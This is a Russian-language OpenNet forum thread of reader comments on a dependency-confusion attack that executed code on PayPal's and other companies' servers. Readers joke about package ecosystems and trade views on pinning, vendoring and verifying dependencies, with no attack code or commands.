Ответить | Правка | Наверх | Cообщить модератору

154. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (152), 10-Фев-21, 22:28

Микросервис в вебассемблю в контейнер в виртуальную машину в облаке.

Ответить | Правка | Наверх | Cообщить модератору

201. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (201), 16-Фев-21, 18:46

А в яйце игла

Ответить | Правка | Наверх | Cообщить модератору

64. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от JL2001 (ok), 10-Фев-21, 13:30

чо там, пацаны, давно в vlc-ppa публиковали linux-generic-7.0.1 ?

Ответить | Правка | Наверх | Cообщить модератору

66. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от JL2001 (ok), 10-Фев-21, 13:36

> добавив в скрипт, запускаемый перед началом установки (preinstall в NPM), код для сбора информации о системе и отправки полученных сведений на внешний хост
pred/post-install запускать от рута, говорили они, ничего не будет, всегда так делали, говорили они
ей, пацаны с репозиториями, вас там ещё не во все дыры?
мантейнеры успевают все патчи мониторить, или как с Kubernetes - напихали с гита в пакет, и всё отлично?

Ответить | Правка | Наверх | Cообщить модератору

76. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (61), 10-Фев-21, 13:50

Оно и без рута отлично линукс юзерам установит сервисы.

Ответить | Правка | Наверх | Cообщить модератору

71. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от PetrG (ok), 10-Фев-21, 13:44

Мой любимый кошмар на работе - почти каждый проект закачивает пол интернета при сборке. И мало кто понимает что там.

Ответить | Правка | Наверх | Cообщить модератору

93. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (58), 10-Фев-21, 14:46

Выкачать всё в локальный репозиторий, сделать локальные пакеты. Запретить качать из инета, но не полностью. И ждать когда из интернет к тебе прилетит его клон.

Ответить | Правка | Наверх | Cообщить модератору

99. "Атака на зависимости позволила выполнить код на серверах Pay..." +4 +/–

Сообщение от Аноним (61), 10-Фев-21, 14:58

Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари?

Ответить | Правка | Наверх | Cообщить модератору

107. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от JL2001 (ok), 10-Фев-21, 15:50

> Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари?
типо о старых версиях типо уже должна была поднятья шумиха, если что :)

Ответить | Правка | Наверх | Cообщить модератору

142. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (61), 10-Фев-21, 19:27

Поднялась шумиха, и твой пакетик на проде клиента дальше летит с вирусами.

Ответить | Правка | Наверх | Cообщить модератору

74. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (74), 10-Фев-21, 13:49

А как же Perl? :3

Ответить | Правка | Наверх | Cообщить модератору

75. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (61), 10-Фев-21, 13:50

Залатали временно

Ответить | Правка | Наверх | Cообщить модератору

81. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (81), 10-Фев-21, 14:06

> А как же Perl? :3
Вернули домен

Ответить | Правка | К родителю #74 | Наверх | Cообщить модератору

189. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (189), 12-Фев-21, 14:41

А зря.

Ответить | Правка | Наверх | Cообщить модератору

77. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (77), 10-Фев-21, 13:55

вот тебе и DevУпс!

Ответить | Правка | Наверх | Cообщить модератору

80. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (80), 10-Фев-21, 14:01

Очевидная атака. Удивительно что такие компании при сборке используют зависимости с инетов и не проверяют даже их подписи.
Всегда пишу eбылды и скачиваю все необходимые пакеты задолго до начала сборки.

Ответить | Правка | Наверх | Cообщить модератору

82. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (61), 10-Фев-21, 14:06

Проверки подписи не у всех есть, да и проверяет вначале публичные репы и только потом приватные. Компании сами должен присылать патчи.

Ответить | Правка | Наверх | Cообщить модератору

110. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (110), 10-Фев-21, 15:59

Скачивают руками, локально и только потом собираю.
Шарится по сторонним репам все равно что кирпичем на минном поле футбол играть.

Ответить | Правка | Наверх | Cообщить модератору

116. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Страдивариус (?), 10-Фев-21, 16:46

Анониму всё очевидно, но 130К грина ушло опять не ему =)

Ответить | Правка | К родителю #80 | Наверх | Cообщить модератору

83. "Атака на зависимости позволила выполнить код на серверах Pay..." +4 +/–

Сообщение от Аноним (74), 10-Фев-21, 14:07

Для пистона это норма. Даже прожекты с мегатоннами звест на гитхубе, имеют мегатонны же проблем с зависимостями и всякого дерьма в своем составе. npm уже вообще что-то вроде мема. Go ждёт такое же будущее ибо язык рассчитан на идиотов. Это не значит что на нём пишут токма дураки, но даун-френдли политика, не доводит до добра.

Ответить | Правка | Наверх | Cообщить модератору

92. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (58), 10-Фев-21, 14:44

Ну все значит нам нужна единая платформа, которая будет монолитна полностью запрещающая сторонние зависимости и имеет богатую дефолтную библиотеку. Только как её сделать?

Ответить | Правка | Наверх | Cообщить модератору

97. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (97), 10-Фев-21, 14:56

Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп проги весом в десяток килобайт ? Или так не учили ?

Ответить | Правка | Наверх | Cообщить модератору

108. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от JL2001 (ok), 10-Фев-21, 15:52

> Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп
> проги весом в десяток килобайт ? Или так не учили ?
а вас то научили как коммунизм построить?

Ответить | Правка | Наверх | Cообщить модератору

104. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (74), 10-Фев-21, 15:15

Проблема не в зависимостях, а в навыках и культуре разработки, которые хромают у упомянутых язычков

Ответить | Правка | К родителю #92 | Наверх | Cообщить модератору

187. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Стереопаштет (?), 12-Фев-21, 06:10

Проблема не в навыках, а в том что рынку нужно быстро и дешево. За идеальных сферических коней в вакууме никто не собирается платить. И если ты предложишь бизнесу писать велосипеды с нуля или перепроверять каждую версию каждой зависимости - на тебя как минимум посмотрят как на сумасшедшего. Либо ты находишь балланс между затратами-сесурити-скоростью разработки-багами-фичами, либо идешь ночевать под мостом (зато ты гордый и правильный! Не смузихлеб и не девляпс.).

Ответить | Правка | Наверх | Cообщить модератору

94. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Аноним (24), 10-Фев-21, 14:54

А что разве в GO уже переделали ? Раньше в GO чтобы цеплять файлы с гитхаба нужно было писать "github.com/mattn/go-sqlite3"

Ответить | Правка | Наверх | Cообщить модератору

112. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Брат Анон (ok), 10-Фев-21, 16:10

`go mod vendor` тебе в помощь. В голанге не так.

Ответить | Правка | Наверх | Cообщить модератору

181. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от еман (?), 11-Фев-21, 22:15

в Go - ещё лучше: на go get, go лезет к гуглу и спрашивает у него, можно ли скачать такой-то пакет, и качает только после утвердительного ответа. так что, если пакета нет в общественнодоступном ынтернете, нужно пользоваться специальными параметрами и специальными конфигурациями.

Ответить | Правка | К родителю #94 | Наверх | Cообщить модератору

96. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Оуноуним (?), 10-Фев-21, 14:56

Чем проще разработка, тем проще эксплуатация уязвимостей.

Ответить | Правка | Наверх | Cообщить модератору

98. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (24), 10-Фев-21, 14:58

Тем проще ее заметить. Вон в ядре поди чего только нет ... исходники то открыты а толку от этого.

Ответить | Правка | Наверх | Cообщить модератору

126. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от пох. (?), 10-Фев-21, 17:53

> Тем проще ее заметить.
И как, заметили? Пока чуваки не пришли с мешком для денег?

Ответить | Правка | Наверх | Cообщить модератору

145. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (145), 10-Фев-21, 19:30

Заманивать хакера на живца/деньги/печеньки.

Ответить | Правка | Наверх | Cообщить модератору

105. "Атака на зависимости позволила выполнить код на серверах Pay..." +4 +/–

Сообщение от Erley (ok), 10-Фев-21, 15:23

Странно что никто не озадачился проверкой базовых образов на которых собираются докер-контейнеры. Часто вижу как люди там используют какие-то мутные сборки убунты и тп. Вот где раздолье для хакеров!
Если уж качать бинарник из веба, то из проверенного источника и с проверкой подписи/хэша хотя бы.

Ответить | Правка | Наверх | Cообщить модератору

144. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (145), 10-Фев-21, 19:29

Местные комментаторы уже давно знают что даже в надежном источнике с проверенной подписью есть сишная дырень.

Ответить | Правка | Наверх | Cообщить модератору

161. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 11-Фев-21, 02:12

> Местные комментаторы уже давно знают что даже в надежном источнике с проверенной
> подписью есть сишная дырень.
плюсую, бро!!!111

Ответить | Правка | Наверх | Cообщить модератору

111. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Брат Анон (ok), 10-Фев-21, 16:09

Так-то вендоринг в golang великая сила))
Правда, это тоже не спасёт, если внешний пакет во время работы проги полезет в сеть хозяевам стучать (если админ -- снежинка с руками из от туда).

Ответить | Правка | Наверх | Cообщить модератору

117. Скрыто модератором –1 +/–

Сообщение от Аноним (117), 10-Фев-21, 17:01

Хахаха. npn, pip , rubygems.
В следующем выпуске ржавый карго. Бугага.
Сейчас его там нет только потому что на rust ещё ничего не сделали.

Ответить | Правка | Наверх | Cообщить модератору

127. Скрыто модератором –1 +/–

Сообщение от пох. (?), 10-Фев-21, 17:56

Миллиарды зависимостей зависимостей от зависимостей - как раз успешно уже сделали.
Нам не надо чтоб на хруст чего-то работающее написали (вдруг они его и не пересоберут уже никогда?!) - нам как раз надо чтоб _переписывали_.
А что троянцев там еще ни разу не находили - так тысячегласс же ж.

Ответить | Правка | Наверх | Cообщить модератору

120. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (120), 10-Фев-21, 17:17

Похоже, что пакетный ад Javascript дал о себе знать.

Ответить | Правка | Наверх | Cообщить модератору

135. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 18:28

> Похоже, что пакетный ад Javascript дал о себе знать.
так и тут кровавая рука жаваскрипта?!!

Ответить | Правка | Наверх | Cообщить модератору

143. "Атака на зависимости позволила выполнить код на серверах Pay..." +4 +/–

Сообщение от Аноним (145), 10-Фев-21, 19:28

Не так страшен жараскрипт как те кто на нем пишут.

Ответить | Правка | Наверх | Cообщить модератору

155. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от InuYasha (??), 10-Фев-21, 22:29

как то, что на нём пишут )

Ответить | Правка | Наверх | Cообщить модератору

121. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Аноним (120), 10-Фев-21, 17:24

Вообще-то когда скачивается пакет, должна подпись проверяться.

Ответить | Правка | Наверх | Cообщить модератору

129. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от пох. (?), 10-Фев-21, 17:57

дык, норм у него была подпись - в точности того чувака, который его честно создал.
Только не тот и не там, где предполагалось манки-кодером.

Ответить | Правка | Наверх | Cообщить модератору

136. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 18:30

> Вообще-то когда скачивается пакет, должна подпись проверяться.
так она и проверилась, и верная
но репозиторий другой и автор пакета другой
я не знаю какие пакетные менеджеры умеют пинить подписи авторов пакетов

Ответить | Правка | К родителю #121 | Наверх | Cообщить модератору

167. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (167), 11-Фев-21, 05:19

Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков.

Ответить | Правка | Наверх | Cообщить модератору

179. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 11-Фев-21, 18:45

> Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и
> умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков.
у меня есть проект-либа и 100500 зависящих от неё проектов
я апаю версию либы и должен собрать релиз из 100500 проектов для глобального предпрод-тестирования
мне пойти и в каждом из них прописать "теперь я завишу от версии либы +1" ?

Ответить | Правка | Наверх | Cообщить модератору

122. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от mumu (ok), 10-Фев-21, 17:24

Зачем тестировать? Просто пользуйтесь! Пользуйтесь все! Пока гром не грянет, мужик не перекрестится.

Ответить | Правка | Наверх | Cообщить модератору

130. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от пох. (?), 10-Фев-21, 17:58

Ну ты же понимаешь, что необходимость поддерживать функции оригинала (скачав его отдельно в обход автоматики) только немного усложнит троянский код?
И тест прекрасно пройден.

Ответить | Правка | Наверх | Cообщить модератору

138. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Леголас (ok), 10-Фев-21, 18:50

Вы про Герасима?

Ответить | Правка | К родителю #122 | Наверх | Cообщить модератору

123. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (123), 10-Фев-21, 17:49

Всего 130 тысяч долларов, за такую черную ды ру, вас на..

Ответить | Правка | Наверх | Cообщить модератору

150. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от пох. (?), 10-Фев-21, 20:34

Чуваки просили передать, что мешок, в котором они уволокли дань, ничуть от этого не испортился, и они планируют зайти с ним через недельку, как только закончат подсчитывать предыдущую добычу.

Ответить | Правка | Наверх | Cообщить модератору

131. "Атака на зависимости позволила выполнить код на серверах Pay..." –3 +/–

Сообщение от Аноним (131), 10-Фев-21, 18:15

Вот зачем девопсы нужны.

Ответить | Правка | Наверх | Cообщить модератору

137. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (61), 10-Фев-21, 18:44

Девпсы бесполезные существа.

Ответить | Правка | Наверх | Cообщить модератору

188. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Рр (?), 12-Фев-21, 06:15

Ненавижу девопсов. Меня в детстве огромный лохматый девопс покусал за ногу.

Ответить | Правка | Наверх | Cообщить модератору

140. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (140), 10-Фев-21, 19:07

Девляпсы опять налетели на проблемы говнорепозитариев...
Удивительно, правда?

Ответить | Правка | Наверх | Cообщить модератору

141. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (145), 10-Фев-21, 19:27

Смузи разработчики не умеют разрабатывать.

Ответить | Правка | Наверх | Cообщить модератору

158. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от srgazh (ok), 11-Фев-21, 00:13

75% от всех зафиксированных запусков кода были связаны с загрузкой NPM- Вот это ДЫРА. Как бороться с этим node и тп...

Ответить | Правка | Наверх | Cообщить модератору

159. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Ilya Indigo (ok), 11-Фев-21, 01:01

Молодец человек!
Увидел возможность, реализовал и очень не плохо на ней заработал!

Ответить | Правка | Наверх | Cообщить модератору

176. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (176), 11-Фев-21, 15:49

А мог бы стать миллионом собирая фермы на ригах

Ответить | Правка | Наверх | Cообщить модератору

160. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (160), 11-Фев-21, 02:10

Внешние автоматически выкачиваемые зависимости — это всегда риск.
А вдруг завтра lodash зальют с бекдором?

Ответить | Правка | Наверх | Cообщить модератору

164. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 11-Фев-21, 02:24

> Внешние автоматически выкачиваемые зависимости — это всегда риск.
> А вдруг завтра lodash зальют с бекдором?
а "внешнее НЕ автоматическое выкачивание зависимостей" - это как? или у вас тоже СБ круче мантейнеров редхата?

Ответить | Правка | Наверх | Cообщить модератору

165. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от deeaitch (ok), 11-Фев-21, 04:05

Вот кто бы сомневался во всех этох npn, ruby-чего-то там.
Там же будет и всё остальное подобное.

Ответить | Правка | Наверх | Cообщить модератору

166. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (167), 11-Фев-21, 05:16

Надуманная проблема для python.
--extra-index-url там никто не использует, кроме Microsoft, как раз по этой причине.
Плюс версии пакетов блокируются в venv при разработке, так что в CI никаких чудес не будет. Скукота.

Ответить | Правка | Наверх | Cообщить модератору

173. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от .NET (?), 11-Фев-21, 14:09

А как выполнить произвольный код в NuGet-пакете после его загрузки, если ни один из его типов не используется?
Статические конструкторы и module initializers (https://docs.microsoft.com/en-us/dotnet/csharp/whats-new/csh... вызываются непосредственно перед доступом к типам.
Для ASP.NET есть атрибут PreApplicationStartMethodAttribute, но в .NET Core его убрали.
Только внедрением низкоуровневого кода в DllMain?

Ответить | Правка | Наверх | Cообщить модератору

191. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (189), 12-Фев-21, 14:43

Другим урок. Расслабляться нельзя. Всё время надо быть на чеке.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Атака на зависимости позволила выполнить код на серверах Pay..."	+55 +/–
Сообщение от Leftpad (?), 10-Фев-21, 11:03
Нужно больше зависимостей и скриптов установки.
Ответить \| Правка \| Наверх \| Cообщить модератору


	3. Скрыто модератором	–12 +/–
	Сообщение от Лудакрис (?), 10-Фев-21, 11:08
	нужно больше содержательных комментариев на опеннет.ру
	Ответить \| Правка \| Наверх \| Cообщить модератору


	6. Скрыто модератором	–4 +/–
	Сообщение от Аноним (6), 10-Фев-21, 11:15
	Нужно больше коментариев пытающихся в сарказм
	Ответить \| Правка \| Наверх \| Cообщить модератору


	12. Скрыто модератором	–5 +/–
	Сообщение от Лудакрис (?), 10-Фев-21, 11:31
	будь осторожен в своих желаниях: мой сарказм обладает силой, разрушающей любую логику
	Ответить \| Правка \| Наверх \| Cообщить модератору


	58. Скрыто модератором	+1 +/–
	Сообщение от Аноним (58), 10-Фев-21, 13:24
	Нужно больше подстрекателей к сарказму.
	Ответить \| Правка \| К родителю #6 \| Наверх \| Cообщить модератору


	8. "Атака на зависимости позволила выполнить код на серверах Pay..."	+11 +/–
	Сообщение от Аноним (8), 10-Фев-21, 11:18
	Не зря же в расте даже базовые возможности - во внешних модулях. Растаманы приготовили благодатную почву...
	Ответить \| Правка \| К родителю #1 \| Наверх \| Cообщить модератору


	65. "Атака на зависимости позволила выполнить код на серверах Pay..."	+5 +/–
	Сообщение от Аноним (65), 10-Фев-21, 13:30
	https://www.reddit.com/r/rust/comments/lgl7bf/is_cargo_vulne.../
	Ответить \| Правка \| Наверх \| Cообщить модератору


	147. "Атака на зависимости позволила выполнить код на серверах Pay..."	+5 +/–
	Сообщение от topin89 (ok), 10-Фев-21, 20:08
	Озвучу для тех, кому лень переходить: Нет, в карго такой уязвимости нет. Но это вышло случайно, о такой атаке никто не думал заранее.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	202. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от rex (??), 18-Фев-21, 13:30
	В смысле, никто не думал заранее? Я всегда считал это багом многих утилит работы с пакетами. А вот, например, в `docker pull` явно прописывается адрес регистри.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	10. "Атака на зависимости позволила выполнить код на серверах Pay..."	+9 +/–
	Сообщение от Аноним (10), 10-Фев-21, 11:20
	Больше зависимостей богу зависимостей! Да здравствует leftpad.
	Ответить \| Правка \| К родителю #1 \| Наверх \| Cообщить модератору


	101. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Аноним (-), 10-Фев-21, 15:04
	Да здравствует Haskell!
	Ответить \| Правка \| Наверх \| Cообщить модератору


	180. "Атака на зависимости позволила выполнить код на серверах Pay..."	+4 +/–
	Сообщение от ЧешкиЧехова (?), 11-Фев-21, 19:07
	ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод рантайм. Так вообще можно было сразу форму отправки для загрузки произвольного крипта сделать и повесить на главную, механика даже не уровня xss. Виток "Кнута-Смузи": 1 Тяжёлые времена рождают сильных кодеров. 2 Сильные кодеры ролждают либы и фреймворки. 3 Фреймворки и либы рождают слабых кодеров. 4 Слабые кодеры рождают тяжёлые времена. Мы где то в середине 4ой стадии. А все умы идут в децентрализацию, trust computing и прочие умные модели, чтобы закрыть эпоху смузихлебов танцующих дырявую Тьюринг машину.
	Ответить \| Правка \| К родителю #10 \| Наверх \| Cообщить модератору


	196. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Aga (??), 14-Фев-21, 00:03
	давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать все в условный index.php, чтобы чувствовать себя сильными кодерами
	Ответить \| Правка \| Наверх \| Cообщить модератору


	198. "Атака на зависимости позволила выполнить код на серверах Pay..."	+2 +/–
	Сообщение от Аноним (-), 14-Фев-21, 08:14
	> давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать > все в условный index.php, чтобы чувствовать себя сильными кодерами ЧСХ пока так делали - работало явно лучше. Во всяком случае, гиг RAM на рендер не жрало и не грузилось по 5 минут, даже несмотря на тормозные диалапы с GPRS и ADSL-ями.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	203. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от rico (ok), 18-Фев-21, 18:52
	Принцип модульности Орлова: если из распечатки одного модуля программы можно свить веревку, на которой можно повесить программиста, его написавшего, то все это следует сделать.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	204. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от RedEyedMan (ok), 26-Фев-21, 14:09
	Вполне нормальное явление. Иначе зачем все эти либы и фреймворки, сильные обойдутся и без них. А я слабый, пользуюсь либами и фреймворками.
	Ответить \| Правка \| К родителю #180 \| Наверх \| Cообщить модератору


	38. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Dzen Python (ok), 10-Фев-21, 12:50
	Нужно больше васянских библиотек и костылей "на вызов одной функции"
	Ответить \| Правка \| К родителю #1 \| Наверх \| Cообщить модератору


	184. "Атака на зависимости позволила выполнить код на серверах Pay..."	–1 +/–
	Сообщение от Аноним (-), 12-Фев-21, 03:38
	Так, блин, это ж программировать надо?! А вот это вебмакаки не умеют. Ну, сколько из вас хотя-бы код Хэмминга сможет накодить? Сами? Без подсматривания к другим и чужих либ? А чтоб еще и эффективно?! p.s. это, кстати, было жестко обстебано в "масяне". Мол, вы берете флешку с википедией, валите в прошлое... у вас все знания мира! Скоро весь мир будет у ваших ног! Вы сможете невероятно продвинуть человечество в развитии тысячу лет назад, попутно озолотившись. Так, стоп? В древнем мире оказывается нет компьютеров. А как работает флеш-память вы, разумеется, не знаете. И уж тем более не сможете объяснить это другим. Поэтому ваши знания будут недоступны следующую 1000 лет, а потом они уже и не нужны как раз. А вы - лох! Который даже формулу пороха не знает! А все что лох по жизни умеет - програмить плагинчики к какой-то ненужности. Без этой ненужности лох вообще совершенно бесполезен. (краткое содержание, вольный пересказ, возможны неточности)
	Ответить \| Правка \| Наверх \| Cообщить модератору


	48. "Атака на зависимости позволила выполнить код на серверах Pay..."	+7 +/–
	Сообщение от Аноним (48), 10-Фев-21, 13:08
	Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использовал этот проект как платформу для 1000 других проектов, то весь код между проектами нужно копировать. И не в коем случае не использовать менеджеры зависимости! И когда ты фиксишь например 100 функций-однострочников в одном проекте, то все их вручную нужно копировать в 100 других проектов. Гениально, надо продвигать эту идею в массы.
	Ответить \| Правка \| К родителю #1 \| Наверх \| Cообщить модератору


	84. "Атака на зависимости позволила выполнить код на серверах Pay..."	+11 +/–
	Сообщение от YetAnotherOnanym (ok), 10-Фев-21, 14:19
	Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод сесть, подумать, и выбрать какую-то более другую платформу.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	183. "Атака на зависимости позволила выполнить код на серверах Pay..."	+1 +/–
	Сообщение от Bob (??), 12-Фев-21, 00:09
	Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых)
	Ответить \| Правка \| Наверх \| Cообщить модератору


	102. "Атака на зависимости позволила выполнить код на серверах Pay..."	+1 +/–
	Сообщение от Аноним (102), 10-Фев-21, 15:06
	Так писали наши деды. Раньше позорным считалось переиспользование кода не только в соседних отделах, но даже в рамках одной программы. Если ты не можешь написать оригинальный код ad-hoc, то ты даже не программист, ты просто макака-копипастер.
	Ответить \| Правка \| К родителю #48 \| Наверх \| Cообщить модератору


	157. "Атака на зависимости позволила выполнить код на серверах Pay..."	+1 +/–
	Сообщение от italliano monkey (?), 11-Фев-21, 00:03
	или просто Java-программист
	Ответить \| Правка \| Наверх \| Cообщить модератору


	205. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Sample (??), 01-Мрт-21, 14:58
	Наши деды славные победы, вот где наши деды
	Ответить \| Правка \| К родителю #102 \| Наверх \| Cообщить модератору


	185. "Атака на зависимости позволила выполнить код на серверах Pay..."	+1 +/–
	Сообщение от Аноним (-), 12-Фев-21, 03:39
	> Правильно, если у тебя в большом проекте 1 000 000 однострочников ...то ты сделал что-то ну вот вообще совсем не так...
	Ответить \| Правка \| К родителю #48 \| Наверх \| Cообщить модератору


	153. "Атака на зависимости позволила выполнить код на серверах Pay..."	+6 +/–
	Сообщение от InuYasha (??), 10-Фев-21, 22:27
	Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят :)
	Ответить \| Правка \| К родителю #1 \| Наверх \| Cообщить модератору


	200. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Аноним (200), 15-Фев-21, 14:14
	Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 ))
	Ответить \| Правка \| К родителю #1 \| Наверх \| Cообщить модератору

2. "Атака на зависимости позволила выполнить код на серверах Pay..."	+9 +/–
Сообщение от Леголас (ok), 10-Фев-21, 11:06
всё гениальное просто
Ответить \| Правка \| Наверх \| Cообщить модератору


	51. "Атака на зависимости позволила выполнить код на серверах Pay..."	–2 +/–
	Сообщение от AHOHUM (?), 10-Фев-21, 13:14
	Природа красива в простоте сложности и сложности простоты. Не удаётся скрыться от сложности в простоту.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	194. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Аноним (194), 13-Фев-21, 00:49
	Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны растительному миру нашей планеты. IT-корпорации должны быть разрушены.
	Ответить \| Правка \| Наверх \| Cообщить модератору